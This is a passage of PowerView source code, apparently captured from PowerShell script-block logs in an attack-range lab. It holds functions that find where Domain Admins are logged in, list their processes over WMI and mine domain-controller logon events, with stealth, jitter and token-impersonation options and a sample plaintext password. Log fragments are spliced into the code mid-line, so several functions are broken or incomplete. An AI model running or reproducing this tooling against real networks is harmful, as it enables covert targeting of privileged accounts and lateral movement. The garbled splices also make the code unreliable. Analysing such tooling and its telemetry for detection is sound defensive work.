Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserEvent
Search for any user events matching domain admins on every DC in the current domain.
.EXAMPLE
$cred = Get-Credential dev\administrator
Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john'
Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local'
domain controller using the alternate credential
.EXAMPLE
'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'}
Find user events on the primary.testlab.local system where the event matches
the IPAddress '192.168.52.200' or '192.168.52.201'.
.EXAMPLE
$cred = Get-Credential testlab\administrator
Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'}
Find user events mathing the specified GUID AND the specified TargetLogonId, searching
through every domain controller in the current domain, enumerating each DC in serial
instead of in a threaded manner, using the alternate credential.
.OUTPUTS
PowerView.LogonEvent
PowerView.ExplicitCredentialLogon
.LINK
http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.LogonEvent')]
[OutputType('PowerView.ExplicitCredentialLogon')]
[CmdletBinding(DefaultParameterSetName = 'Domain')]
Param(
[Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('dnshostname', 'HostName', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(ParameterSetName = 'Domain')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Hashtable]
$Filter,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$StartTime = [DateTime]::Now.AddDays(-1),
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$EndTime = [DateTime]::Now,
[ValidateRange(1, 1000000)]
[Int]
$MaxEvents = 5000,
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) {
# otherwise we're querying a specific group
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
Write-Verbose "UserGroupIdentity: $UserGroupIdentity"
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
# build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
# if not -ComputerName is passed, query the current (or target) domain for domain controllers
$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain"
$TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
}
if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) {
$TargetComputers = @(,$TargetComputers)
}
Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)"
Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserEvent] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential)
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$DomainUserEventArgs = @{
'ComputerName' = $T88d5cf98-8bd5-4613-a590-2eb6eb668066C:\Users\Administrator\Documents\WindowsPowerShell\Modules\Powersploit\Recon\PowerView.ps1
4104132150x0187781Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local4352ter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainUserLocation] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads"
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'TargetUsers' = $TargetUsers
'CurrentUser' = $CurrentUser
'Stealth' = $Stealth
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Find-DomainProcess {
<#
.SYNOPSIS
Searches for processes on the domain using WMI, returning processes
that match a particular user specification or process name.
Thanks to @paulbrandau for the approach idea.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any current processes running with Get-WMIProcess,
searching for processes running under any target user contexts or with the
specified -ProcessName. If -Credential is passed, it is passed through to
the underlying WMI commands used to enumerate the remote machines.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER ProcessName
Search for processes with one or more specific names.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainProcess
Searches for processes run by 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by
privileged users in dev.testlab.local.
.EXAMPLE
Find-DomainProcess -ProcessName putty.exe
Searchings for instances of putty.exe running on the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainProcess -Domain testlab.local -Credential $Cred
Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials.
.OUTPUTS
PowerView.UserProcess
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.UserProcess')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'TargetProcess')]
[ValidateNotNullOrEmpty()]
[String[]]
$ProcessName,
[Parameter(ParameterSetName = 'TargetUser')]
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Parameter(ParameterSetName = 'TargetUser')]
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
# first, build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainProcess] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainProcess] No hosts found to enumerate'
}
# now build the user target set
if ($PSBoundParameters['ProcessName']) {
$TargetProcessName = @()
ForEach ($T in $ProcessName) {
$TargetProcessName += $T.Split(',')
}
if ($TargetProcessName -isnot [System.Array]) {
$TargetProcessName = [String[]] @($TargetProcessName)
}
}
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$GroupSearcherArguments
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Par88d5cf98-8bd5-4613-a590-2eb6eb668066C:\Users\Administrator\Documents\WindowsPowerShell\Modules\Powersploit\Recon\PowerView.ps1
4104132150x0187779Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local4152 # Adapted from:
# http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/
$SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
# # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
# force a single-threaded apartment state (for token-impersonation stuffz)
$SessionState.ApartmentState = [System.Threading.ApartmentState]::STA
# import the current session state's variables and functions so the chained PowerView
# functionality can be used by the threaded blocks
if (-not $NoImports) {
# grab all the current variables for this runspace
$MyVars = Get-Variable -Scope 2
# these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice
$VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true')
# add Variables from Parent Scope (current runspace) into the InitialSessionState
ForEach ($Var in $MyVars) {
if ($VorbiddenVars -NotContains $Var.Name) {
$SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
}
}
# add Functions from current runspace to the InitialSessionState
ForEach ($Function in (Get-ChildItem Function:)) {
$SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
}
}
# threading adapted from
# https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407
# Thanks Carlos!
# create a pool of maxThread runspaces
$Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
$Pool.Open()
# do some trickery to get the proper BeginInvoke() method that allows for an output queue
$Method = $Null
ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) {
$MethodParameters = $M.GetParameters()
if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') {
$Method = $M.MakeGenericMethod([Object], [Object])
break
}
}
$Jobs = @()
$ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()}
Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)"
# partition all hosts from -ComputerName into $Threads number of groups
if ($Threads -ge $ComputerName.Length) {
$Threads = $ComputerName.Length
}
$ElementSplitSize = [Int]($ComputerName.Length/$Threads)
$ComputerNamePartitioned = @()
$Start = 0
$End = $ElementSplitSize
for($i = 1; $i -le $Threads; $i++) {
$List = New-Object System.Collections.ArrayList
if ($i -eq $Threads) {
$End = $ComputerName.Length
}
$List.AddRange($ComputerName[$Start..($End-1)])
$Start += $ElementSplitSize
$End += $ElementSplitSize
$ComputerNamePartitioned += @(,@($List.ToArray()))
}
Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads"
ForEach ($ComputerNamePartition in $ComputerNamePartitioned) {
# create a "powershell pipeline runner"
$PowerShell = [PowerShell]::Create()
$PowerShell.runspacepool = $Pool
# add the script block + arguments with the given computer partition
$Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition)
if ($ScriptParameters) {
ForEach ($Param in $ScriptParameters.GetEnumerator()) {
$Null = $PowerShell.AddParameter($Param.Name, $Param.Value)
}
}
# create the output queue
$Output = New-Object Management.Automation.PSDataCollection[Object]
# kick off execution using the BeginInvok() method that allows queues
$Jobs += @{
PS = $PowerShell
Output = $Output
Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output))
}
}
}
END {
Write-Verbose "[New-ThreadedFunction] Threads executing"
# continuously loop through each job queue, consuming output as appropriate
Do {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
}
Start-Sleep -Seconds 1
}
While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0)
$SleepSeconds = 100
Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..."
# cleanup- make sure we didn't miss anything
for ($i=0; $i -lt $SleepSeconds; $i++) {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
$Job.PS.Dispose()
}
Start-Sleep -S 1
}
$Pool.Dispose()
Write-Verbose "[New-ThreadedFunction] all threads completed"
}
}
function Find-DomainUserLocation {
<#
.SYNOPSIS
Finds domain machines where specific users are logged into.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon
The found user list is compared against the target list, and any matches are
displayed. If -ShowAll is specified, all results are displayed instead of
the filtered set. If -Stealth is specified, then likely highly-trafficed servers
are enumerated with Get-DomainFileServer/Get-DomainController, and session
enumeration is executed only against those servers. If -Credential is passed,
then Invoke-UserImpersonation is used to impersonate the specified user
before enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER UserAllowDelegation
Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'.
.PARAMETER CheckAccess
Switch. Check if the current user has local admin access to computers where target users are found.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER ShowAll
Switch. Return all user location results instead of filtering based on target
specifications.
.PARAMETER Stealth
Switch. Only enumerate sessions from connonly used target servers.
.PARAMETER StealthSource
The source of target servers to use, 'DFS' (distributed file servers),
'DC' (domain controllers), 'File' (file servers), or 'All' (the default).
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserLocation
Searches for 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainUserLocation -Stealth -ShowAll
Enumerates likely highly-trafficked servers, performs just session enumeration
against each, and outputs all results.
.EXAMPLE
Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged
users in dev.testlab.local.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainUserLocation -Domain testlab.local -Credential $Cred
Searches for domain admin locations in the testlab.local using the specified alternate credentials.
.OUTPUTS
PowerView.UserLocation
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.UserLocation')]
[CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
